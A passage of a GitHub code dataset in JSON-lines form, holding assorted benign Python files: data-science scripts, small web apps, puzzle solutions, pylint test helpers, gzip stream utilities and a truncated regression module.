import joblib\n\n# 使用 Pandas 读取数据\ndf = pd.read_excel(\"user_prediction.xlsx\", header=0)\n\n# 特征\nx = df.iloc[:, 0:8]\n\n# 加载模型\nmodel_GaussianNB = joblib.load('model_GaussianNB.pkl')\n\n# 返回预测概率(%)\nresults = model_GaussianNB.predict_proba(x) * 100\n\n# 将预测概率转换为 DataFrame\nresults_df = pd.DataFrame(np.around(results, 2), columns=['非会员概率'.decode('utf-8'), '会员概率'.decode('utf-8')])\n\n# 将预测概率添加到原数据集中最后一列\ndf_merged = pd.concat([df.drop(\"用户是否为会员\".decode('utf-8'), axis=1), results_df['会员概率'.decode('utf-8')]], axis=1)\n\n# 输出前 20 列\nprint(df_merged.head(20))","repo_name":"sunshinelu/pythonDemo","sub_path":"shiyanlou/PythonDataAnalysisAndAdvanced/Purchases/purchasesDemo3.py","file_name":"purchasesDemo3.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8151808928","text":"# https://adventofcode.com/2022/day/3\nimport os\nimport string\nimport sys\nimport time\nfrom pathlib import Path\nfrom typing import Iterator\n\nBASE_PATH = os.path.dirname(os.path.realpath(__file__))\n\n\nletter_scores = {\n letter: index + 1\n for index, letter in enumerate(string.ascii_letters)\n}\n\n\ndef _read_input() -> Iterator[str]:\n with Path(BASE_PATH, 'input.txt').open() as input_file:\n yield from input_file.readlines()\n\n\ndef get_line_score_v1(line: str) -> int:\n score = 0\n\n total = len(line)\n first, second = set(line[:total//2]), set(line[total//2:])\n for commoin in first.intersection(second):\n score += letter_scores.get(commoin, 0)\n\n return score\n\n\ndef get_line_score_v2(line: str) -> int:\n score = 0\n part_2_map = {}\n total = len(line)\n\n for letter in line[total//2:]:\n part_2_map[letter] = letter_scores.get(letter, 0)\n\n for letter in line[:total//2]:\n score += part_2_map.get(letter, 0)\n\n return score\n\n\ndef get_sum() -> int:\n score = 0\n for line in _read_input():\n score += get_line_score_v1(line)\n return score\n\n\ndef main() -> None:\n start = time.time()\n\n result = get_sum()\n\n end = time.time()\n\n sys.stdout.write(f'result = {result}\\ntime: {(end - start)*1000.0:.3f}ms\\n')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fffffrolov/adventofcode","sub_path":"2022/day_3/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17607384975","text":"import urllib\nALARM_NONE = 0\nALARM_FOOD = 1\nALARM_FIRE = 2\nCHANGE_NAME = 'na'\nCHANGE_ALARM = 'al'\nCHANGE_TEMP = 'ta'\nCHANGE_ALARM_HIGH = 'th'\nCHANGE_ALARM_LOW = 'tl'\nCHANGE_BLOWER = 'sw'\n\nclass Stoker:\n \n def __init__(self, stoker):\n \"\"\"Constructor for the Stoker encapsulation.\n \n Args:\n stoker: The address (IP or hostname) of the stoker\n \"\"\"\n self.stoker_address = stoker\n url = 'http://%s/index.html'\n stokerdata = urllib.urlopen(url)\n \n\n \n def ChangeStoker(self, action, serial, value):\n \"\"\"Send a POST to the stoker to modify its configuration\n \n Args:\n action: The setting to change\n serial: The serial number of the sensor to change\n value: The value that will be set\n Returns:\n a urllib request, which contains the response data\n \"\"\"\n url = 'http://%s/stoker.Post_Handler' % (self.stoker_address)\n action = '%s%s' % (action, serial)\n data = urllib.urlencode([(action, value)])\n request = urllib.urlopen(url, data=data)\n return request\n ","repo_name":"KyleBeam/smartstoker","sub_path":"stoker.py","file_name":"stoker.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34489948711","text":"import requests\nimport json\nimport os\n\nclass Weather(object):\n # Creates Weather object\n def __init__(self, apiKey):\n super(Weather, self).__init__()\n self.apiKey = apiKey\n\n def get_weather(self, lat, lon):\n #openWeather API\n endpoint_url = \"https://api.openweathermap.org/data/2.5/onecall\"\n\n #request parameters\n params = {\n 'lat': lat,\n 'lon': lon,\n 'exclude': \"current,minutely,hourly,alerts\",\n 'appid': self.apiKey,\n 'units': 'imperial'\n }\n\n #makes api request and handles response\n res = requests.get(endpoint_url, params = params)\n results = json.loads(res.content)\n return results\n","repo_name":"adisonlampert/hikr","sub_path":"scripts/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27059353551","text":"# Using composition to build complex objects\n\n\nclass Book:\n def __init__(self, title, price, author = None):\n self.title = title\n self.price = price\n\n self.author = author\n\n self.chapters = []\n\n def addchapter(self, chapter):\n self.chapters.append(chapter)\n\n def getbookpagecount(self):\n result = 0\n for ch in self.chapters:\n result += ch.pages\n return result\n\nclass Chapter:\n def __init__(self, name, pages):\n self.name = name\n self.pages = pages\n\n \n\nclass Author:\n def __init__(self, fname, lname):\n self.fname = fname\n self.lname = lname\n\n def __str__(self):\n return f\"{self.fname} {self.lname}\"\n \n\nauth = Author(\"Leo\", \"Tolstoy\")\nb1 = Book(\"War and Peace\", 39.0, auth)\n\nb1.addchapter(Chapter(\"Chapter 1\", 125))\nb1.addchapter(Chapter(\"Chapter 2\", 97))\nb1.addchapter(Chapter(\"Chapter 3\", 143))\n\nprint(b1.author)\nprint(b1.title)\nprint(b1.getbookpagecount())\n","repo_name":"smv1999/Python-OOPs","sub_path":"Ch 2/composition_start.py","file_name":"composition_start.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"9191641967","text":"from pathlib import Path\nfrom traceback import format_exc\nimport json\nimport shutil\n\nfrom tkinter import messagebox#, Tk\n# from tkinter.ttk import Progressbar\n\n\ndef main():\n with open(\"install_config.json\") as f:\n config = json.load(f)\n\n # start = 0\n # bar = Tk()\n base_path = Path(\"./\")\n for i, step in enumerate(config):\n if step[\"type\"] == \"start\":\n if \"base_path\" in step: base_path = Path(step[\"base_path\"])\n\n if \"title\" in step: title: str = step[\"title\"]\n else: title = \"Installer\"\n\n if \"message\" in step: message: str = step[\"message\"]\n else: message = \"Application will be installed at \\\"{base_path}\\\", proceed?\"\n message = message.format(base_path=base_path)\n\n if not messagebox.askokcancel(title=title, message=message): break\n\n elif step[\"type\"] == \"folder\":\n source = Path(step[\"folder\"])\n dest = base_path / Path(step[\"dest\"])\n if \"whole\" in step and step[\"whole\"] and dest.name != source.name:\n dest /= source.name\n print(\"source\", source)\n print(\"dest\", dest)\n print(\"result\", shutil.copytree(source, dest, dirs_exist_ok=True))\n\n elif step[\"type\"] == \"file\":\n source = Path(step[\"file\"])\n dest = base_path / Path(step[\"dest\"])\n dest /= source.name\n dest.parent.mkdir(parents=True, exist_ok=True)\n print(\"source\", source)\n print(\"dest\", dest)\n print(\"result\", shutil.copyfile(source, dest))\n\n elif step[\"type\"] == \"end\":\n if \"message\" in step: message = step[\"message\"]\n else: message = \"Application succesfully installed!\"\n\n messagebox.showinfo(title=\"Succes\", message=message)\n break\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except PermissionError as e:\n messagebox.showerror(\n title=\"Missing permission\",\n message=\"This installation process requires administrator permissions, please run as administrator.\"\n )\n except Exception as e:\n messagebox.showerror(title=\"Error\", message=format_exc())\n","repo_name":"Leroymilo/generic_installer","sub_path":"installer.py","file_name":"installer.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19683631722","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# pylint: disable=C0103\n\"\"\"usage: ukm_cli [--debug ...] itop_info\n\nOptions:\n -d --debug Show debug information.\n\"\"\"\n\nimport logging\nfrom schema import Schema, Optional, And, Use\nfrom ukmdb_itop.itop import get_mod_version\nfrom ukmdb_settings import settings\n\nukmdb_log = logging.getLogger(\"ukmdb\")\n\nSCHEMA = Schema({\n 'itop_info': bool,\n Optional('--debug'): And(Use(int), lambda n: n in (0, 1, 2, 3)),\n})\n\n\ndef cmd(args):\n ukmdb_log.debug(\"starting command 'itop_info'\")\n ukmdb_log.debug(str(args))\n\n ukmdb_log.info(\"ukmdb itop-module version: %s\", get_mod_version())\n print(\"ukmdb itop-module version: %s\" % (get_mod_version()))\n\n ukmdb_log.info(\"itop url: '%s'\", settings.CFG_ITOP_URL)\n print(\"itop url: '%s'\" % (settings.CFG_ITOP_URL))\n\n ukmdb_log.debug(\"command 'itop_info' stopped\")\n","repo_name":"mleist/ukmdb_cli","sub_path":"ukmdb_cli/cmd_itop_info.py","file_name":"cmd_itop_info.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16735733353","text":"import math\nfrom typing import Tuple\n\nimport torch\nfrom torch import nn, Tensor\n\n\nclass PositionEmbeddingSine(nn.Module):\n def __init__(self, num_position_features: int = 64, temperature: int = 10000, normalize: bool = True,\n scale: float = None):\n super(PositionEmbeddingSine, self).__init__()\n\n self.num_position_features = num_position_features\n self.temperature = temperature\n self.normalize = normalize\n\n if scale is not None and normalize is False:\n raise ValueError(\"normalize should be True if scale is passed\")\n if scale is None:\n scale = 2 * math.pi\n self.scale = scale\n\n def forward(self, x: Tensor) -> Tuple[Tensor, Tensor]:\n N, _, H, W = x.shape\n\n mask = torch.zeros(N, H, W, dtype=torch.bool, device=x.device)\n not_mask = ~mask\n\n y_embed = not_mask.cumsum(1)\n x_embed = not_mask.cumsum(2)\n\n if self.normalize:\n epsilon = 1e-6\n y_embed = y_embed / (y_embed[:, -1:, :] + epsilon) * self.scale\n x_embed = x_embed / (x_embed[:, :, -1:] + epsilon) * self.scale\n\n dimT = torch.arange(self.num_position_features, dtype=torch.float32, device=x.device)\n dimT = self.temperature ** (2 * (dimT // 2) / self.num_position_features)\n\n posX = x_embed.unsqueeze(-1) / dimT\n posY = y_embed.unsqueeze(-1) / dimT\n\n posX = torch.stack((posX[:, :, :, 0::2].sin(), posX[:, :, :, 1::2].cos()), -1).flatten(3)\n posY = torch.stack((posY[:, :, :, 0::2].sin(), posY[:, :, :, 1::2].cos()), -1).flatten(3)\n\n return torch.cat((posY, posX), 3).permute(0, 3, 1, 2), mask\n","repo_name":"anhdhbn/pysot-ext","sub_path":"pysot/models/head/transformer/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19753994054","text":"from flask import request, render_template, flash\nfrom flask import redirect, url_for, Blueprint\nfrom monkeyapp import models, forms\nfrom monkeyapp.database import db_session\n\napi = Blueprint('api', __name__)\n\n\n@api.route(\"/\")\ndef index():\n return render_template('index.html')\n\n\n@api.route(\"/monkeys\", methods=[\"post\", \"get\"])\ndef monkeys():\n form = forms.MonkeyForm(request.form)\n if request.method == 'POST' and form.validate():\n user = models.User(form.name.data, form.email.data, form.age.data)\n db_session.add(user)\n db_session.commit()\n flash(\"New monkey added\")\n return redirect(url_for(\".monkeys\"))\n monkeys = models.query_users(order=request.args.get('ord'))\n return render_template(\n 'monkeys.html', monkeys=monkeys.all(), form=form,\n order=request.args.get('ord'))\n\n\n@api.route(\"/monkey/\", methods=[\"post\", \"get\"])\ndef view_monkey(ident):\n try:\n monkey = models.User.query.filter_by(id=ident).one()\n except:\n return redirect(404)\n form = forms.FriendForm(request.form)\n form.user.query_factory = monkey.get_non_friends\n best_friend_form = forms.BestFriendForm(user=monkey.best_friend)\n best_friend_form.user.query_factory = monkey.friends.all\n if request.method == 'POST':\n if form.validate():\n monkey.add_friend(form.user.data)\n flash(\"Friend added\")\n form = forms.FriendForm(request.form)\n form.user.query_factory = monkey.get_non_friends\n else:\n flash(\"Form not valid\")\n return render_template(\n 'monkey.html', monkey=monkey, form=form,\n best_friend_form=best_friend_form)\n\n\n@api.route(\"/monkey//add_best_friend/\", methods=[\"post\", \"get\"])\ndef add_best_friend(ident, methods=[\"post\"]):\n try:\n monkey = models.User.query.filter_by(id=ident).one()\n except:\n return redirect(404)\n form = forms.BestFriendForm(request.form)\n form.user.query_factory = monkey.friends.all\n if form.validate():\n friend = form.user.data\n monkey.make_best_friend(friend)\n flash(\"Best friend updated\")\n else:\n flash(\"Form not valid\")\n return redirect(404)\n return redirect(url_for(\".view_monkey\", ident=ident))\n\n\n@api.route(\"/remove_friend//\", methods=[\"post\", \"get\"])\ndef remove_friend(ident1, ident2):\n try:\n monkey = models.User.query.filter_by(id=ident1).one()\n friend = models.User.query.filter_by(id=ident2).one()\n except:\n return redirect(404)\n form = forms.RemoveForm(request.form)\n if request.method == 'POST' and form.validate():\n try:\n monkey.remove_friend(friend)\n flash(\"Friendship removed\")\n except:\n flash(\"Couldnt remove friendship\")\n return redirect(url_for(\".view_monkey\", ident=ident1))\n return render_template(\n 'remove_friend.html', monkey1=monkey, monkey2=friend, form=form)\n\n\n@api.route(\"/edit/\", methods=[\"post\", \"get\"])\ndef edit_monkey(ident):\n try:\n monkey = models.User.query.filter_by(id=ident).one()\n except:\n return redirect(404)\n form = forms.MonkeyForm(request.form, obj=monkey)\n if request.method == 'POST' and form.validate():\n form.populate_obj(monkey)\n db_session.commit()\n flash(\"Monkey updated\")\n return redirect(url_for(\".view_monkey\", ident=ident))\n return render_template('edit_monkey.html', monkey=monkey, form=form)\n\n\n@api.route(\"/remove/\", methods=[\"get\", \"post\"])\ndef remove_monkey(ident):\n try:\n monkey = models.User.query.filter_by(id=ident).one()\n except:\n return redirect(404)\n form = forms.RemoveForm(request.form)\n if request.method == 'POST' and form.validate():\n db_session.delete(monkey)\n db_session.commit()\n flash(\"Monkey removed\")\n return redirect(url_for(\".monkeys\"))\n return render_template('remove_monkey.html', monkey=monkey, form=form)\n\n\n@api.app_errorhandler(404)\ndef handle_404(error):\n return render_template('page_not_found.html'), 404\n\n\n@api.teardown_request\ndef shutdown_session(exception=None):\n db_session.commit()\n db_session.remove()\n","repo_name":"superosku/oskusmonkeys","sub_path":"monkeyapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19412614222","text":"# 1431. Kids With the Greatest Number of Candies\n\nclass Solution:\n def kidsWithCandies(self, candies: List[int], extraCandies: int) -> List[bool]:\n ans : bool = []\n maximum = max(candies)\n for i in range(len(candies)):\n if(candies[i] + extraCandies >= maximum):\n ans.append(True)\n else: ans.append(False)\n\n return ans\n","repo_name":"XDFrost/Leetcode","sub_path":"Easy/1431_Kids_With_the_Greatest_Number_of_Candies.py","file_name":"1431_Kids_With_the_Greatest_Number_of_Candies.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73102678482","text":"\"\"\"Обучение на полном наборе данных\"\"\"\n\n\"\"\"Мы обучили нейронную сеть распознавать одну комбинацию сигналов, но нам нужно, чтобы она распознавала все комбинации\"\"\"\n\nimport numpy as np\nweights = np.array([0.5,0.48,-0.7]) \nalpha = 0.1\nstreetlights = np.array([\n [ 1, 0, 1 ], \n [ 0, 1, 1 ], \n [ 0, 1, 1 ], \n [ 1, 1, 1 ], \n [ 0, 1, 1 ],\n [ 1, 0, 1 ] \n]) \nwalk_vs_stop = np.array( [0, 1, 0, 1, 1, 0] )\ninput = streetlights[0] # [1,0,1]\ngoal_prediction = walk_vs_stop[0] # Содержит0(стоять)\nfor iteration in range(40): \n error_for_all_lights = 0\n for row_index in range(len(walk_vs_stop)):\n input = streetlights[row_index] \n goal_prediction = walk_vs_stop[row_index]\n prediction = input.dot(weights)\n error = (goal_prediction - prediction) ** 2 \n error_for_all_lights += error\n delta = prediction - goal_prediction\n weights = weights - (alpha * (input * delta)) \n print(\"Prediction: \" + str(prediction), \"\\t Error: \" + str(error_for_all_lights))\n","repo_name":"man780/AI","sub_path":"chapter6/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38319817298","text":"from __future__ import annotations\n\nimport os\nfrom collections.abc import Iterator\nfrom pathlib import Path\n\nfrom pylint.testutils.functional.test_file import FunctionalTestFile\n\nREASONABLY_DISPLAYABLE_VERTICALLY = 49\n\"\"\"'Wet finger' number of files that are reasonable to display by an IDE.\n\n'Wet finger' as in 'in my settings there are precisely this many'.\n\"\"\"\n\nIGNORED_PARENT_DIRS = {\n \"deprecated_relative_import\",\n \"ext\",\n \"regression\",\n \"regression_02\",\n}\n\"\"\"Direct parent directories that should be ignored.\"\"\"\n\nIGNORED_PARENT_PARENT_DIRS = {\n \"docparams\",\n \"deprecated_relative_import\",\n \"ext\",\n}\n\"\"\"Parents of direct parent directories that should be ignored.\"\"\"\n\n\ndef get_functional_test_files_from_directory(\n input_dir: Path | str,\n max_file_per_directory: int = REASONABLY_DISPLAYABLE_VERTICALLY,\n) -> list[FunctionalTestFile]:\n \"\"\"Get all functional tests in the input_dir.\"\"\"\n suite = []\n\n _check_functional_tests_structure(Path(input_dir), max_file_per_directory)\n\n for dirpath, dirnames, filenames in os.walk(input_dir):\n if dirpath.endswith(\"__pycache__\"):\n continue\n dirnames.sort()\n filenames.sort()\n for filename in filenames:\n if filename != \"__init__.py\" and filename.endswith(\".py\"):\n suite.append(FunctionalTestFile(dirpath, filename))\n return suite\n\n\ndef _check_functional_tests_structure(\n directory: Path, max_file_per_directory: int\n) -> None:\n \"\"\"Check if test directories follow correct file/folder structure.\n\n Ignore underscored directories or files.\n \"\"\"\n if Path(directory).stem.startswith(\"_\"):\n return\n\n files: set[Path] = set()\n dirs: set[Path] = set()\n\n def _get_files_from_dir(\n path: Path, violations: list[tuple[Path, int]]\n ) -> list[Path]:\n \"\"\"Return directories and files from a directory and handles violations.\"\"\"\n files_without_leading_underscore = list(\n p for p in path.iterdir() if not p.stem.startswith(\"_\")\n )\n if len(files_without_leading_underscore) > max_file_per_directory:\n violations.append((path, len(files_without_leading_underscore)))\n return files_without_leading_underscore\n\n def walk(path: Path) -> Iterator[Path]:\n violations: list[tuple[Path, int]] = []\n violations_msgs: set[str] = set()\n parent_dir_files = _get_files_from_dir(path, violations)\n error_msg = (\n \"The following directory contains too many functional tests files:\\n\"\n )\n for _file_or_dir in parent_dir_files:\n if _file_or_dir.is_dir():\n _files = _get_files_from_dir(_file_or_dir, violations)\n yield _file_or_dir.resolve()\n try:\n yield from walk(_file_or_dir)\n except AssertionError as e:\n violations_msgs.add(str(e).replace(error_msg, \"\"))\n else:\n yield _file_or_dir.resolve()\n if violations or violations_msgs:\n _msg = error_msg\n for offending_file, number in violations:\n _msg += f\"- {offending_file}: {number} when the max is {max_file_per_directory}\\n\"\n for error_msg in violations_msgs:\n _msg += error_msg\n raise AssertionError(_msg)\n\n # Collect all sub-directories and files in directory\n for file_or_dir in walk(directory):\n if file_or_dir.is_dir():\n dirs.add(file_or_dir)\n elif file_or_dir.suffix == \".py\":\n files.add(file_or_dir)\n\n directory_does_not_exists: list[tuple[Path, Path]] = []\n misplaced_file: list[Path] = []\n for file in files:\n possible_dir = file.parent / file.stem.split(\"_\")[0]\n if possible_dir.exists():\n directory_does_not_exists.append((file, possible_dir))\n # Exclude some directories as they follow a different structure\n if (\n not len(file.parent.stem) == 1 # First letter sub-directories\n and file.parent.stem not in IGNORED_PARENT_DIRS\n and file.parent.parent.stem not in IGNORED_PARENT_PARENT_DIRS\n ):\n if not file.stem.startswith(file.parent.stem):\n misplaced_file.append(file)\n\n if directory_does_not_exists or misplaced_file:\n msg = \"The following functional tests are disorganized:\\n\"\n for file, possible_dir in directory_does_not_exists:\n msg += (\n f\"- In '{directory}', '{file.relative_to(directory)}' \"\n f\"should go in '{possible_dir.relative_to(directory)}'\\n\"\n )\n for file in misplaced_file:\n msg += (\n f\"- In '{directory}', {file.relative_to(directory)} should go in a directory\"\n f\" that starts with the first letters\"\n f\" of '{file.stem}' (not '{file.parent.stem}')\\n\"\n )\n raise AssertionError(msg)\n","repo_name":"pylint-dev/pylint","sub_path":"pylint/testutils/functional/find_functional_tests.py","file_name":"find_functional_tests.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","stars":4936,"dataset":"github-code","pt":"3"} +{"seq_id":"23834331475","text":"from panel.chat.icon import ChatReactionIcons\nfrom panel.pane.image import SVG\n\n\nclass TestChatReactionIcons:\n def test_init(self):\n icons = ChatReactionIcons()\n assert icons.options == {\"favorite\": \"heart\"}\n\n svg = icons._svgs[0]\n assert isinstance(svg, SVG)\n assert svg.alt_text == \"favorite\"\n assert not svg.encode\n assert svg.margin == 0\n svg_text = svg.object\n assert 'alt=\"favorite\"' in svg_text\n assert \"icon-tabler-heart\" in svg_text\n\n assert icons._reactions == [\"favorite\"]\n\n def test_options(self):\n icons = ChatReactionIcons(options={\"favorite\": \"heart\", \"like\": \"thumb-up\"})\n assert icons.options == {\"favorite\": \"heart\", \"like\": \"thumb-up\"}\n assert len(icons._svgs) == 2\n\n svg = icons._svgs[0]\n assert svg.alt_text == \"favorite\"\n\n svg = icons._svgs[1]\n assert svg.alt_text == \"like\"\n\n def test_value(self):\n icons = ChatReactionIcons(value=[\"favorite\"])\n assert icons.value == [\"favorite\"]\n\n svg = icons._svgs[0]\n svg_text = svg.object\n assert \"icon-tabler-heart-fill\" in svg_text\n\n def test_active_icons(self):\n icons = ChatReactionIcons(\n options={\"dislike\": \"thumb-up\"},\n active_icons={\"dislike\": \"thumb-down\"},\n value=[\"dislike\"],\n )\n assert icons.options == {\"dislike\": \"thumb-up\"}\n\n svg = icons._svgs[0]\n svg_text = svg.object\n assert \"icon-tabler-thumb-down\" in svg_text\n\n icons.value = []\n svg = icons._svgs[0]\n svg_text = svg.object\n assert \"icon-tabler-thumb-up\" in svg_text\n\n def test_width_height(self):\n icons = ChatReactionIcons(width=50, height=50)\n svg = icons._svgs[0]\n svg_text = svg.object\n assert 'width=\"50px\"' in svg_text\n assert 'height=\"50px\"' in svg_text\n","repo_name":"holoviz/panel","sub_path":"panel/tests/chat/test_icon.py","file_name":"test_icon.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":3266,"dataset":"github-code","pt":"3"} +{"seq_id":"17432136856","text":"import os\nimport sys\nimport time\nimport signal\nimport time\nimport logging\nfrom subprocess import Popen, PIPE\n\nimport collector\nimport tracer\nimport vaitraceCfgManager\nimport vaitraceSetting\n\n\ndef handler(signum, frame):\n logging.info(\"Killing process...\")\n logging.info(\"Processing trace data, please wait...\")\n\n\ndef run(globalOptions: dict):\n signal.signal(signal.SIGINT, handler)\n signal.signal(signal.SIGTERM, handler)\n options = globalOptions\n\n if options.get('cmdline_args').get('bypass', False):\n cmd = options.get('control').get('cmd')\n logging.info(\"Bypass vaitrace, just run cmd\")\n proc = Popen(cmd)\n proc.wait()\n exit(0)\n\n \"\"\"Preparing\"\"\"\n tracer.prepare(options)\n tracer.start()\n\n \"\"\"requirememt format: [\"tracerName\", \"tracerName1\", \"hwInfo\", ...]\"\"\"\n collector.prepare(options, tracer.getSourceRequirement())\n collector.start()\n\n \"\"\"Start Running\"\"\"\n cmd = options.get('control').get('cmd')\n timeout = options.get('control').get('timeout')\n proc = Popen(cmd)\n\n options['control']['launcher'] = \"cpp\"\n options['control']['pid'] = proc.pid\n options['control']['time'] = time.strftime(\n \"%Y-%m-%d %H:%M:%S\", time.localtime())\n\n if timeout <= 0:\n proc.wait()\n else:\n while timeout > 0:\n time.sleep(1)\n timeout -= 1\n p = proc.poll()\n if p is not None:\n break\n\n collector.stop()\n tracer.stop()\n # proc.wait()\n\n tracer.process(collector.getData())\n","repo_name":"PenroseZ/vitis-ai","sub_path":"tools/Vitis-AI-Runtime/VART/vart/util/src/vaitrace/vaitraceCppRunner.py","file_name":"vaitraceCppRunner.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"19604362963","text":"from django.shortcuts import render\n\nfrom apps.main.models import Navigation, Category, Banner\n\n\ndef index(request):\n nav_list = Navigation.objects.all()\n cate_list = Category.objects.all()\n banner_list = Banner.objects.all()\n for cate in cate_list:\n # 一对多 反向查询\n\n shops = cate.shop_set.all()\n for shop in shops:\n shop.img = shop.shopimage_set.values_list('shop_img_id', flat=True).first()\n cate.shops = shops\n return render(request, 'index.html', locals())\n","repo_name":"zhou952368/shopping","sub_path":"apps/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71206269202","text":"\"\"\"\nGzip stream utilities.\n\"\"\"\nimport zlib\nfrom io import BufferedIOBase\nfrom typing import BinaryIO\nfrom .util import byte_quantity, warn\n\n\nDEFAULT_ITER_SIZE = byte_quantity(\"8 MiB\")\n\n\nclass GzipCompressingReader(BufferedIOBase):\n \"\"\"\n Compress a data stream as it is being read.\n\n The constructor takes an existing, readable byte *stream*. Calls to this\n class's :meth:`.read` method will read data from the source *stream* and\n return a compressed copy.\n \"\"\"\n def __init__(self, stream: BinaryIO, iter_size: int = DEFAULT_ITER_SIZE):\n if not stream.readable():\n raise ValueError('\"stream\" argument must be readable.')\n\n if type(iter_size) is not int:\n raise TypeError('\"iter_size\" argument must be an int')\n\n self.stream = stream\n self.iter_size = iter_size\n self.__buffer = b''\n self.__gzip = zlib.compressobj(\n wbits = 16 + zlib.MAX_WBITS, # Offset of 16 is gzip encapsulation\n memLevel = 9, # Memory is ~cheap; use it for better compression\n )\n\n def readable(self):\n return True\n\n def read(self, size = None):\n assert size != 0\n assert self.stream\n\n if size is None:\n size = -1\n\n # Keep reading chunks until we have a bit of compressed data to return,\n # since returning an empty byte string would be interpreted as EOF.\n while not self.__buffer and self.__gzip:\n chunk = self.stream.read(size)\n\n self.__buffer += self.__gzip.compress(chunk)\n\n if not chunk or size < 0:\n # Read to EOF on underlying stream, so flush any remaining\n # compressed data and return whatever we have. We'll return an\n # empty byte string as EOF ourselves on any subsequent calls.\n self.__buffer += self.__gzip.flush(zlib.Z_FINISH)\n self.__gzip = None\n\n if size > 0 and len(self.__buffer) > size:\n # This should be pretty rare since we're reading N bytes and then\n # *compressing* to fewer bytes. It could happen in the rare case\n # of lots of data still stuck in the buffer from a previous call.\n compressed = self.__buffer[0:size]\n self.__buffer = self.__buffer[size:]\n else:\n compressed = self.__buffer\n self.__buffer = b''\n\n return compressed\n\n def close(self):\n if self.stream:\n try:\n self.stream.close()\n finally:\n self.stream = None\n\n def __next__(self):\n \"\"\"\n Iterate in :attr:`.iter_size` chunks.\n\n Overrides default line-wise iteration from :cls:`io.IOBase`. Line-wise\n iteration has no reasonable semantics for binary IO streams like this\n one. It only serves to slow down the stream by using many short reads\n instead of fewer longer reads.\n \"\"\"\n chunk = self.read(self.iter_size)\n\n if not len(chunk):\n raise StopIteration\n\n return chunk\n\n\nclass GzipDecompressingWriter(BufferedIOBase):\n \"\"\"\n Decompress a gzip data stream as it is being written.\n\n The constructor takes an existing, writable byte *stream*. Data written to\n this class's :meth:`.write` will be decompressed and then passed along to\n the destination *stream*.\n \"\"\"\n # Offset of 32 means we will accept a zlib or gzip encapsulation, per\n # . Seems no\n # downside to applying Postel's Law here.\n #\n def __init__(self, stream: BinaryIO):\n if not stream.writable():\n raise ValueError('\"stream\" argument must be writable.')\n\n self.stream = stream\n self.__gunzip = zlib.decompressobj(32 + zlib.MAX_WBITS)\n\n def writable(self):\n return True\n\n def write(self, data: bytes): # type: ignore[override]\n assert self.stream and self.__gunzip\n return self.stream.write(self.__gunzip.decompress(data))\n\n def flush(self):\n assert self.stream and self.__gunzip\n super().flush()\n self.stream.flush()\n\n def close(self):\n if self.stream:\n assert self.__gunzip\n try:\n self.stream.write(self.__gunzip.flush())\n self.stream.close()\n finally:\n self.stream = None\n self.__gunzip = None\n\n\ndef ContentDecodingWriter(encoding, stream):\n \"\"\"\n Wrap a writeable *stream* in a layer which decodes *encoding*.\n\n *encoding* is expected to be a ``Content-Encoding`` HTTP header value.\n ``gzip`` and ``deflate`` are supported. Unsupported values will issue a\n warning and return the *stream* unwrapped. An *encoding* of ``None`` will\n also return the stream unwrapped, but without a warning.\n \"\"\"\n if encoding is not None and encoding.lower() in {\"gzip\", \"deflate\"}:\n return GzipDecompressingWriter(stream)\n else:\n if encoding is not None:\n warn(\"Ignoring unknown content encoding «%s»\" % encoding)\n return stream\n","repo_name":"nextstrain/cli","sub_path":"nextstrain/cli/gzip.py","file_name":"gzip.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"18646424286","text":"import logging\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport pickle as pkl\r\nimport os\r\nfrom pathlib import Path\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import r2_score, make_scorer as scorer\r\nfrom sklearn.model_selection import train_test_split, learning_curve\r\nfrom sklearn.preprocessing import QuantileTransformer, quantile_transform\r\nfrom src.visualization.visualize import plot_dist\r\n\r\n\r\nclass TransformedLinearRegression(LinearRegression):\r\n '''\r\n Linear Regression model. Methods and attributes inherited from sklearn's LinearRegression class.\r\n Applies a Quantile transformation to the dataset to increase the math grade prediction accuracy\r\n\r\n Parameters\r\n ----------\r\n n_quantiles: int, default 1500\r\n Number 